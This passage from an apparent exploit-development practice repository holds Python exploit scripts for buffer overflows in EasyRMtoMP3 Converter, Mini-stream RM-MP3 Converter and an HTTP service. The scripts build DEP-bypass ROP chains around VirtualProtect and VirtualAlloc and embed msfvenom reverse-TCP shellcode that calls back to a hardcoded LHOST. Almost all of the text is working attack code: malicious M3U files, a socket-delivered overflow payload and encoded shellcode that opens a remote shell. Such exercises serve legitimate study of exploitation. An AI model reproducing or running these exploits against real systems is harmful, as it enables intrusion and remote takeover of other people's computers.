 96 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
 97 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
 98 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
 99 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
100 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
101 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
102 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
103 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
104 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
105 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
106 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
107 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
108 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
109 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
110 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
111 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
112 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
113 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
114 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
115 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
116 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
117 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
118 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
119 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
120 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
121 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
122 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
123 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
124 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
125 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
126 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
127 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
128 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
129 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
130 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
131 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
132 | rop += struct.pack('<L', 0x61c18d81)  # XCHG EAX,EDI # RETN  
133 | rop += struct.pack('<L', 0x1001d626)  # XOR ESI,ESI # RETN    **
134 | rop += struct.pack('<L', 0x10021a3e)  # ADD ESI,EDI # RETN 0x00
135 | rop += struct.pack('<L', 0x10015442)  # POP EAX # RETN 
136 | rop += struct.pack('<L', 0xfffffaee)
137 | rop += struct.pack('<L', 0x100231d1)  # NEG EAX # RETN    
138 | rop += struct.pack('<L', 0x1001e80e)  # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN 
139 | rop += struct.pack('<L', 0x41414141)  # padding for pop esi
140 | 
141 | #restoring back esp
142 | rop += struct.pack('<L', 0x61c18d81)  # XCHG EAX,EDI # RETN  
143 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
144 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
145 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
146 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
147 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
148 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
149 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
150 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
151 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
152 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
153 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
154 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
155 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
156 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
157 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
158 | rop += struct.pack('<L', 0x1001614d)  # DEC EAX # RETN
159 | rop += struct.pack('<L', 0x61c2c2f1)  # XCHG EAX,ESP # RETN  
160 | 
161 | print(900 - len(rop))
162 | rop += b"\x90" * (900 - len(rop))
163 | 
164 | payload = b"A" * 2509
165 | payload += rop
166 | 
167 | print(OFFSET - len(payload) + 4)
168 | 
169 | payload += shellcode
170 | payload += b"\x90" * (OFFSET - len(payload) + 4)
171 | payload += struct.pack("<I",0x10022877)   # ADD ESP,1004 # RETN
172 | payload += b"\x90" * 10
173 | payload += b"B" * (CRASH_LEN - len(payload))
174 | 
175 | 
176 | buffer = b"GET "
177 | buffer += payload
178 | buffer += b" HTTP/1.1\r\n"
179 | 
180 | expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
181 | expl.connect((ip, port))
182 | expl.send(buffer)
183 | expl.close()
184 | 


--------------------------------------------------------------------------------
/5.dep_bypass/EasyRMtoMp3_2.7.3.700/README.md:
--------------------------------------------------------------------------------
 1 | # EasyRMtoMP3Converter (DEP enabled)
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/10374
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | #!/usr/bin/python 
 9 | 
10 | file = "crash1.m3u"
11 | f = open(file , "w")
12 | 
13 | CRASH_LEN = 30000  # change me
14 | 
15 | junk = "A" * CRASH_LEN
16 | f.write(junk)
17 | f.close()
18 | ```
19 | 


--------------------------------------------------------------------------------
/5.dep_bypass/EasyRMtoMp3_2.7.3.700/exploit.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python 
  2 | import struct
  3 | 
  4 | file = "crash1.m3u"
  5 | f = open(file , "wb")
  6 | 
  7 | CRASH_LEN = 30000  # change me
  8 | 
  9 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0A' EXITFUNC=thread
 10 | shellcode =  b""
 11 | shellcode += b"\xda\xcb\xba\xdd\xd8\x47\xd0\xd9\x74\x24\xf4"
 12 | shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x53\x17\x03\x53\x17"
 13 | shellcode += b"\x83\x36\x24\xa5\x25\x34\x3d\xa8\xc6\xc4\xbe"
 14 | shellcode += b"\xcd\x4f\x21\x8f\xcd\x34\x22\xa0\xfd\x3f\x66"
 15 | shellcode += b"\x4d\x75\x6d\x92\xc6\xfb\xba\x95\x6f\xb1\x9c"
 16 | shellcode += b"\x98\x70\xea\xdd\xbb\xf2\xf1\x31\x1b\xca\x39"
 17 | shellcode += b"\x44\x5a\x0b\x27\xa5\x0e\xc4\x23\x18\xbe\x61"
 18 | shellcode += b"\x79\xa1\x35\x39\x6f\xa1\xaa\x8a\x8e\x80\x7d"
 19 | shellcode += b"\x80\xc8\x02\x7c\x45\x61\x0b\x66\x8a\x4c\xc5"
 20 | shellcode += b"\x1d\x78\x3a\xd4\xf7\xb0\xc3\x7b\x36\x7d\x36"
 21 | shellcode += b"\x85\x7f\xba\xa9\xf0\x89\xb8\x54\x03\x4e\xc2"
 22 | shellcode += b"\x82\x86\x54\x64\x40\x30\xb0\x94\x85\xa7\x33"
 23 | shellcode += b"\x9a\x62\xa3\x1b\xbf\x75\x60\x10\xbb\xfe\x87"
 24 | shellcode += b"\xf6\x4d\x44\xac\xd2\x16\x1e\xcd\x43\xf3\xf1"
 25 | shellcode += b"\xf2\x93\x5c\xad\x56\xd8\x71\xba\xea\x83\x1d"
 26 | shellcode += b"\x0f\xc7\x3b\xde\x07\x50\x48\xec\x88\xca\xc6"
 27 | shellcode += b"\x5c\x40\xd5\x11\xa2\x7b\xa1\x8d\x5d\x84\xd2"
 28 | shellcode += b"\x84\x99\xd0\x82\xbe\x08\x59\x49\x3e\xb4\x8c"
 29 | shellcode += b"\xde\x6e\x1a\x7f\x9f\xde\xda\x2f\x77\x34\xd5"
 30 | shellcode += b"\x10\x67\x37\x3f\x39\x02\xc2\xa8\x86\x7b\xcd"
 31 | shellcode += b"\x14\x6f\x7e\xcd\x7e\xea\xf7\x2b\x14\xe4\x51"
 32 | shellcode += b"\xe4\x81\x9d\xfb\x7e\x33\x61\xd6\xfb\x73\xe9"
 33 | shellcode += b"\xd5\xfc\x3a\x1a\x93\xee\xab\xea\xee\x4c\x7d"
 34 | shellcode += b"\xf4\xc4\xf8\xe1\x67\x83\xf8\x6c\x94\x1c\xaf"
 35 | shellcode += b"\x39\x6a\x55\x25\xd4\xd5\xcf\x5b\x25\x83\x28"
 36 | shellcode += b"\xdf\xf2\x70\xb6\xde\x77\xcc\x9c\xf0\x41\xcd"
 37 | shellcode += b"\x98\xa4\x1d\x98\x76\x12\xd8\x72\x39\xcc\xb2"
 38 | shellcode += b"\x29\x93\x98\x43\x02\x24\xde\x4b\x4f\xd2\x3e"
 39 | shellcode += b"\xfd\x26\xa3\x41\x32\xaf\x23\x3a\x2e\x4f\xcb"
 40 | shellcode += b"\x91\xea\x6f\x2e\x33\x07\x18\xf7\xd6\xaa\x45"
 41 | shellcode += b"\x08\x0d\xe8\x73\x8b\xa7\x91\x87\x93\xc2\x94"
 42 | shellcode += b"\xcc\x13\x3f\xe5\x5d\xf6\x3f\x5a\x5d\xd3"
 43 | 
 44 | 
 45 | rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03
 46 | 
 47 | #\x00\x09\x0a
 48 | payload = b"A" * 26057
 49 | payload += rop_nop # EIP
 50 | payload += b"\x90" * 4 #padding
 51 | 
 52 | #Salvo ESP in EDI ed EAX
 53 | payload += struct.pack("<I",0x77371b2e)  # PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **
 54 | payload += struct.pack("<I",0x771cb29a) # MOV EDI,ESI # DEC ECX # RETN 0x0C    **
 55 | payload += rop_nop #padding for 0x0c
 56 | payload += rop_nop #padding for 0x0c
 57 | payload += rop_nop #padding for 0x0c
 58 | payload += rop_nop #padding for 0x0c
 59 | payload += struct.pack("<I",0x75bebe2b)  # MOV EAX,ESI # POP ESI # RETN    ** [MSVCRT.dll] ** 
 60 | payload += struct.pack("<I",0x41414141) # padding for pop ESI
 61 | 
 62 | 
 63 | #jump over VirtualProtect
 64 | payload += struct.pack("<I",0x100201a3)  # ADD ESP,1C # RETN    ** [MSRMfilter03.dll] ** 
 65 | 
 66 | # Calling VirtualProtect with parameters
 67 | payload += struct.pack('<L', 0x77325c90)    # kernel32.VirtualProtect()
 68 | payload += struct.pack('<L', 0x11111111)    # return address
 69 | payload += struct.pack('<L', 0x22222222)    # lpAddress (same as before)
 70 | payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x500 is ok)
 71 | payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
 72 | payload += struct.pack('<L', 0x1006ad10)    # pOldProtect (any writeable address)
 73 | 
 74 | payload += b"\x90" * 4
 75 | 
 76 | #EDI point to return Address
 77 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 78 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 79 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 80 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 81 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 82 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 83 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 84 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 85 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 86 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 87 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 88 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 89 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 90 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 91 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 92 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 93 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 94 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 95 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 96 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 97 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 98 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
 99 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
100 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
101 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
102 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
103 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
104 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
105 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
106 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
107 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
108 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
109 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
110 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
111 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
112 | payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
113 | 
114 | #EAX will point to lpAddress
115 | payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
116 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
117 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
118 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
119 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
120 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
121 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
122 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
123 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
124 | payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] **
125 | 
126 | #EAX will point to an address equal or inside NOP sled
127 | #copio EAX in ECX per salvarne il valore
128 | #ECX will point to lpAddress
129 | payload += struct.pack('<L',0x774771b2)  # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN    ** [ntdll.dll] ** 
130 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
131 | payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
132 | payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
133 | payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
134 | payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
135 | payload += struct.pack("<I",0x41414141) # padding for pop bp
136 | payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
137 | payload += struct.pack("<I",0x41414141) # padding for pop bp
138 | 
139 | 
140 | #EAX --> [EDI]
141 | payload += struct.pack("<I",0x77189c93)  # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN    ** [USER32.dll] ** 
142 | payload += struct.pack("<I",0x41414141) # padding for pop edi
143 | payload += struct.pack("<I",0x41414141) # padding for pop esi
144 | 
145 | #EAX -> [ECX]
146 | payload += struct.pack("<I",0x1002b67d)  # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 
147 | 
148 | #dwSize
149 | payload += struct.pack("<I",0x10025b9c)  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
150 | payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
151 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
152 | payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
153 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
154 | payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
155 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
156 | payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
157 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
158 | payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
159 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
160 | payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
161 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
162 | #aumento ecx di 40 per puntare a dwsize
163 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
164 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
165 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
166 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
167 | #EAX --> [ECX]
168 | payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 
169 | 
170 | #flNewProtect  
171 | payload += struct.pack("<I",0x10025b9c)  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
172 | payload += struct.pack("<I",0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  
173 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
174 | payload += struct.pack("<I",0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  
175 | payload += struct.pack("<I",0x41414141) # padding for pop ebp
176 | #incremento di 4 ecx
177 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
178 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
179 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
180 | payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] **
181 | #EAX --> [ECX]
182 | payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 
183 | 
184 | #ESP to VirtualProtect
185 | payload += struct.pack("<I",0x100219f9)  # MOV EAX,ECX # RETN    ** [MSRMfilter03.dll] **  
186 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
187 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
188 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
189 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
190 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
191 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
192 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
193 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
194 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
195 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
196 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
197 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
198 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
199 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
200 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
201 | payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
202 | payload += struct.pack("<I",0x1002be41)  # XCHG EAX,ESP # RETN    ** [MSRMfilter03.dll] **
203 | 
204 | payload += b"\x90" * 250 # compensate
205 | 
206 | payload += shellcode
207 | 
208 | payload += b"C" * (CRASH_LEN - len(payload))
209 | 
210 | f.write(payload)
211 | f.close()
212 | 


--------------------------------------------------------------------------------
/5.dep_bypass/Mini-streamRM-MP3Converter_3.1.2.1/README.md:
--------------------------------------------------------------------------------
 1 | # Mini-stream RM-MP3 Converter 3.1.2.1 
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/20116
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | #!/usr/bin/python
 8 |  
 9 | import sys, struct
10 |  
11 | file="crash.m3u"
12 |  
13 | #---------------------------------------------------------------------#
14 | # Badchars: '\x00\x09\x0A'                                            #
15 | #---------------------------------------------------------------------#
16 | crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
17 |  
18 | writeFile = open (file, "w")
19 | writeFile.write( crash )
20 | writeFile.close()
21 | ```
22 | 


--------------------------------------------------------------------------------
/5.dep_bypass/Mini-streamRM-MP3Converter_3.1.2.1/exploit.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 |  
  3 | import sys, struct
  4 |  
  5 | file="crash.m3u"
  6 | total = 28680
  7 | offset = 26104
  8 |  
  9 | #---------------------------------------------------------------------#
 10 | # Badchars: '\x00\x09\x0A'                                            #
 11 | #---------------------------------------------------------------------#
 12 | 
 13 | #10032078 virtual alloc
 14 | rop_nop = struct.pack("<I",0x100102dc) # retn
 15 | 
 16 | shellcode =  b""
 17 | shellcode += b"\xda\xc0\xb8\xd3\xfd\x71\x7a\xd9\x74\x24\xf4"
 18 | shellcode += b"\x5a\x33\xc9\xb1\x52\x31\x42\x17\x83\xc2\x04"
 19 | shellcode += b"\x03\x91\xee\x93\x8f\xe9\xf9\xd6\x70\x11\xfa"
 20 | shellcode += b"\xb6\xf9\xf4\xcb\xf6\x9e\x7d\x7b\xc7\xd5\xd3"
 21 | shellcode += b"\x70\xac\xb8\xc7\x03\xc0\x14\xe8\xa4\x6f\x43"
 22 | shellcode += b"\xc7\x35\xc3\xb7\x46\xb6\x1e\xe4\xa8\x87\xd0"
 23 | shellcode += b"\xf9\xa9\xc0\x0d\xf3\xfb\x99\x5a\xa6\xeb\xae"
 24 | shellcode += b"\x17\x7b\x80\xfd\xb6\xfb\x75\xb5\xb9\x2a\x28"
 25 | shellcode += b"\xcd\xe3\xec\xcb\x02\x98\xa4\xd3\x47\xa5\x7f"
 26 | shellcode += b"\x68\xb3\x51\x7e\xb8\x8d\x9a\x2d\x85\x21\x69"
 27 | shellcode += b"\x2f\xc2\x86\x92\x5a\x3a\xf5\x2f\x5d\xf9\x87"
 28 | shellcode += b"\xeb\xe8\x19\x2f\x7f\x4a\xc5\xd1\xac\x0d\x8e"
 29 | shellcode += b"\xde\x19\x59\xc8\xc2\x9c\x8e\x63\xfe\x15\x31"
 30 | shellcode += b"\xa3\x76\x6d\x16\x67\xd2\x35\x37\x3e\xbe\x98"
 31 | shellcode += b"\x48\x20\x61\x44\xed\x2b\x8c\x91\x9c\x76\xd9"
 32 | shellcode += b"\x56\xad\x88\x19\xf1\xa6\xfb\x2b\x5e\x1d\x93"
 33 | shellcode += b"\x07\x17\xbb\x64\x67\x02\x7b\xfa\x96\xad\x7c"
 34 | shellcode += b"\xd3\x5c\xf9\x2c\x4b\x74\x82\xa6\x8b\x79\x57"
 35 | shellcode += b"\x68\xdb\xd5\x08\xc9\x8b\x95\xf8\xa1\xc1\x19"
 36 | shellcode += b"\x26\xd1\xea\xf3\x4f\x78\x11\x94\xaf\xd5\x6b"
 37 | shellcode += b"\xfe\x58\x24\x8b\xce\xa1\xa1\x6d\x44\xc2\xe7"
 38 | shellcode += b"\x26\xf1\x7b\xa2\xbc\x60\x83\x78\xb9\xa3\x0f"
 39 | shellcode += b"\x8f\x3e\x6d\xf8\xfa\x2c\x1a\x08\xb1\x0e\x8d"
 40 | shellcode += b"\x17\x6f\x26\x51\x85\xf4\xb6\x1c\xb6\xa2\xe1"
 41 | shellcode += b"\x49\x08\xbb\x67\x64\x33\x15\x95\x75\xa5\x5e"
 42 | shellcode += b"\x1d\xa2\x16\x60\x9c\x27\x22\x46\x8e\xf1\xab"
 43 | shellcode += b"\xc2\xfa\xad\xfd\x9c\x54\x08\x54\x6f\x0e\xc2"
 44 | shellcode += b"\x0b\x39\xc6\x93\x67\xfa\x90\x9b\xad\x8c\x7c"
 45 | shellcode += b"\x2d\x18\xc9\x83\x82\xcc\xdd\xfc\xfe\x6c\x21"
 46 | shellcode += b"\xd7\xba\x93\xd3\xe5\x56\x03\x4a\x9c\x1a\x49"
 47 | shellcode += b"\x6d\x4b\x58\x74\xee\x79\x21\x83\xee\x08\x24"
 48 | shellcode += b"\xcf\xa8\xe1\x54\x40\x5d\x05\xca\x61\x74"
 49 | shellcode += b"\x90" * (500 - len(shellcode))
 50 | 
 51 | 
 52 | #step 1 - saving esp in eax and edi
 53 | rop = struct.pack("<L", 0x10014026)  # POP ESI # RETN  
 54 | rop += struct.pack("<L", 0xffffaa30)
 55 | rop += struct.pack("<L", 0x1002cc3e)  # ADD EBX,ESI # STC # RETN 
 56 | rop += struct.pack("<L", 0x10012ab1)  # MOV EAX,EBX # POP EBP # POP EBX # RETN  
 57 | rop += struct.pack("<L", 0x41414141)  # padding ebp
 58 | rop += struct.pack("<L", 0x41414141)  # padding ebx
 59 | 
 60 | #jumping over template
 61 | rop += struct.pack("<L", 0x100201a3)  # ADD ESP,1C # RETN    
 62 | 
 63 | rop += struct.pack("<L", 0x10032078) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
 64 | rop += struct.pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
 65 | rop += struct.pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
 66 | rop += struct.pack("<L", 0x33333333) # dummy dwSize  - 0x1
 67 | rop += struct.pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
 68 | rop += struct.pack("<L", 0x11111111) # dummy flProtect - 0x40
 69 | 
 70 | rop += b"\x90"*4
 71 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 72 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 73 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 74 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 75 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 76 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 77 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
 78 | rop += struct.pack("<L", 0x100128f7)  # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 
 79 | rop += struct.pack("<L", 0x41414141)  # padding esi
 80 | rop += struct.pack("<L", 0x41414141)  # padding ebx
 81 | 
 82 | rop += struct.pack("<L", 0x1001bdee)  # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN 
 83 | rop += struct.pack("<L", 0x41414141)  # padding add esp
 84 | rop += struct.pack("<L", 0x41414141)  # padding add esp
 85 | rop += struct.pack("<L", 0x100253ba)  # XOR EAX,EAX # XOR EDX,EDX # RETN 
